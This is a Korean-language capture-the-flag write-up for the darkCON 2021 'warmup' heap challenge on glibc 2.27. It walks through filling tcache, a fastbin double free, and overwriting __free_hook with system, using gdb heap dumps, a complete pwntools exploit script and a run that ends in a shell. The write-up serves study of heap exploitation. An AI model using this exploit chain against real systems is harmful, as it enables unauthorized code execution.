콘텐츠로 건너뛰기

[darkCON2021] warmup (fastbin_dup, glibc 2.27)

요약

이번에 문제를 풀면서 할당할때 fastbin이나 tcache가 들어가는게 아닌,
free할때 들어가는것을 깨달았다. (이때까지 잘못 알고 있었네ㅠ)

  1. Fill up tcache, alloc10번 & (처음 기준) free7번
  2. fastbin_dup (Trigger DFB bug)
  3. empty_tcache (alloc 7번)

1st alloc – (free_hook 포인터 주소)AAW할 주소 대상으로 씀.
2nd alloc – 더미로 씀.
3rd alloc – (/bin/sh) 값을 씀.
4th alloc – (system 함수 주소)AAW 덮을 값으로 씀.

  1. 이제 /bin/sh가 적힌 청크로 free시키면 쉘 획득.

환경

우분투 18.04 / GLIBC 2.27-3ubuntu1.6

Source

https://github.com/sajjadium/ctf-archives/tree/main/ctfs/darkCON/2021/pwn/Warmup

checksec

seo@ubuntu:~/study/warmup$ checksec ./a.out
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/seo/study/warmup/a.out'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

1. Fill up tcache, alloc10 & free7

tcache를 채우기 위해 alloc(0x20)을 10번한다음, free를 처음기준 7번해준다.

alloc10

for i in range(10):
    create(i, 0x20, b"A"*8)
  • Result
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Used                None              None
0x603290            0x0                 0x20                 Used                None              None
0x6032b0            0x0                 0x20                 Used                None              None
0x6032d0            0x0                 0x20                 Used                None              None
0x6032f0            0x0                 0x20                 Used                None              None
0x603310            0x0                 0x20                 Used                None              None
0x603330            0x0                 0x20                 Used                None              None
0x603350            0x0                 0x20                 Used                None              None
0x603370            0x0                 0x20                 Used                None              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$

free7

for i in range(7):
    delete(i)
  • Result
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Freed                0x0              None
0x603290            0x0                 0x20                 Freed           0x603280              None
0x6032b0            0x0                 0x20                 Freed           0x6032a0              None
0x6032d0            0x0                 0x20                 Freed           0x6032c0              None
0x6032f0            0x0                 0x20                 Freed           0x6032e0              None
0x603310            0x0                 0x20                 Freed           0x603300              None
0x603330            0x0                 0x20                 Freed           0x603320              None
0x603350            0x0                 0x20                 Used                None              None
0x603370            0x0                 0x20                 Used                None              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280
gdb-peda$

2. fastbin_dup

1.

delete(7)

fastbin에 해당되므로 fd값이 0임.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Freed                0x0              None
0x603290            0x0                 0x20                 Freed           0x603280              None
0x6032b0            0x0                 0x20                 Freed           0x6032a0              None
0x6032d0            0x0                 0x20                 Freed           0x6032c0              None
0x6032f0            0x0                 0x20                 Freed           0x6032e0              None
0x603310            0x0                 0x20                 Freed           0x603300              None
0x603330            0x0                 0x20                 Freed           0x603320              None
0x603350            0x0                 0x20                 Freed                0x0              None
0x603370            0x0                 0x20                 Used                None              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x603350 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280
gdb-peda$

2.

delete(8)

free된 mem[8]에 fd값이 적힘.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Freed                0x0              None
0x603290            0x0                 0x20                 Freed           0x603280              None
0x6032b0            0x0                 0x20                 Freed           0x6032a0              None
0x6032d0            0x0                 0x20                 Freed           0x6032c0              None
0x6032f0            0x0                 0x20                 Freed           0x6032e0              None
0x603310            0x0                 0x20                 Freed           0x603300              None
0x603330            0x0                 0x20                 Freed           0x603320              None
0x603350            0x0                 0x20                 Freed                0x0              None
0x603370            0x0                 0x20                 Freed           0x603350              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x603370 --> 0x603350 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280
gdb-peda$

3.

delete(7)

다시한번 mem[7]을 free시킴 → double free됨.

따라서 mem[7] fd 값이 mem[8] 청크 주소로 쓰여짐.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Freed                0x0              None
0x603290            0x0                 0x20                 Freed           0x603280              None
0x6032b0            0x0                 0x20                 Freed           0x6032a0              None
0x6032d0            0x0                 0x20                 Freed           0x6032c0              None
0x6032f0            0x0                 0x20                 Freed           0x6032e0              None
0x603310            0x0                 0x20                 Freed           0x603300              None
0x603330            0x0                 0x20                 Freed           0x603320              None
0x603350            0x0                 0x20                 Freed           0x603370              None
0x603370            0x0                 0x20                 Freed           0x603350              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x603350 --> 0x603370 --> 0x603350 (overlap chunk with 0x603350(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280
gdb-peda$

3. empty tcache

for i in range(7):
    create(i, 0x10, b"C"*8)

이제 tcache를 비우기 위해, mem[0]~mem[6]까지 malloc(0x20) 7번 재할당해준다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Used                None              None
0x603290            0x0                 0x20                 Used                None              None
0x6032b0            0x0                 0x20                 Used                None              None
0x6032d0            0x0                 0x20                 Used                None              None
0x6032f0            0x0                 0x20                 Used                None              None
0x603310            0x0                 0x20                 Used                None              None
0x603330            0x0                 0x20                 Used                None              None
0x603350            0x0                 0x20                 Freed           0x603370              None
0x603370            0x0                 0x20                 Freed           0x603350              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x603350 --> 0x603370 --> 0x603350 (overlap chunk with 0x603350(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$

4. Let’s AAW!

1.

create(7, 0x10, p64(free_hook))

mem[7] 주소 할당하고 free_hook 주소를 씀.

이는 추후 free_hook 주소로 다시 할당받을 예정.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Used                None              None
0x603290            0x0                 0x20                 Used                None              None
0x6032b0            0x0                 0x20                 Used                None              None
0x6032d0            0x0                 0x20                 Used                None              None
0x6032f0            0x0                 0x20                 Used                None              None
0x603310            0x0                 0x20                 Used                None              None
0x603330            0x0                 0x20                 Used                None              None
0x603350            0x0                 0x20                 Freed     0x7ffff7dcf8e8              None
0x603370            0x0                 0x20                 Freed           0x603360              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](3): 0x603380 --> 0x603360 --> 0x7ffff7dcf8e8
gdb-peda$

2.

mem[8], mem[9] 주소 할당하고
mem[9]에 /bin/sh 값을 씀.

create(8, 0x10, b"D"*8)
create(9, 0x10, '/bin/sh\x00')
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x603000            0x0                 0x250                Used                None              None
0x603250            0x0                 0x20                 Used                None              None
0x603270            0x0                 0x20                 Used                None              None
0x603290            0x0                 0x20                 Used                None              None
0x6032b0            0x0                 0x20                 Used                None              None
0x6032d0            0x0                 0x20                 Used                None              None
0x6032f0            0x0                 0x20                 Used                None              None
0x603310            0x0                 0x20                 Used                None              None
0x603330            0x0                 0x20                 Used                None              None
0x603350            0x0                 0x20                 Used                None              None
0x603370            0x0                 0x20                 Used                None              None
0x603390            0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6033b0 (size : 0x20c50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x7ffff7dcf8e8
gdb-peda$

3.

이제 한번더 할당하면, free_hook 주소로 할당받게 되고,
해당 포인터 주소에 system 함수주소로 덮어씀.

create(10, 0x10, p64(system))

4.

delete(9)

이후 인덱스9에 /bin/sh 값이 적혔던 청크를 할당 해제하게 되면,
쉘을 획득할 수 있음.

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./a.out")
e = ELF('./a.out',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def create(idx, size, data):
    sla(b"[3] - exit\n", b"1")
    sla("index: ", str(idx))
    sla("size: ", str(size))
    sla(b"input: ", data)

def delete(idx):
    sla(b"[3] - exit\n", b"2")
    sla("index: ", str(idx))

def exit():
    sla(b"[3] - exit\n", b"3")

ru(b"gift: ")
leak = rl().split(b"\n")[0]
leak = int(leak, 16)
info(f"leak: {hex(leak)}")
l.address = leak - 0xb6200
info(f"libc base: {hex(l.address)}")
free_hook = l.sym.__free_hook
info("free_hook: " + hex(free_hook))
system = l.sym.system
info("system: " + hex(system))

# Fill up tcache, alloc10 & free7
for i in range(10):
    create(i, 0x10, b"A"*8)

for i in range(7):
    delete(i)

#fastbin_dup
delete(7)
delete(8)
delete(7)

#empty tcache
for i in range(7):
    create(i, 0x10, b"C"*8)


#Let's AAW!
create(7, 0x10, p64(free_hook))
create(8, 0x10, b"D"*8)
create(9, 0x10, '/bin/sh\x00')

create(10, 0x10, p64(system))

delete(9)


pi()

Result

seo@ubuntu:~/study/warmup$ python3 solve2.py
[+] Starting local process './a.out': pid 14824
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] leak: 0x7ffff7a98200
[*] libc base: 0x7ffff79e2000
[*] free_hook: 0x7ffff7dcf8e8
[*] system: 0x7ffff7a31420
[*] Switching to interactive mode
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ whoami
seo
$ uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$
[*] Interrupted
[*] Stopped process './a.out' (pid 14824)
seo@ubuntu:~/study/warmup$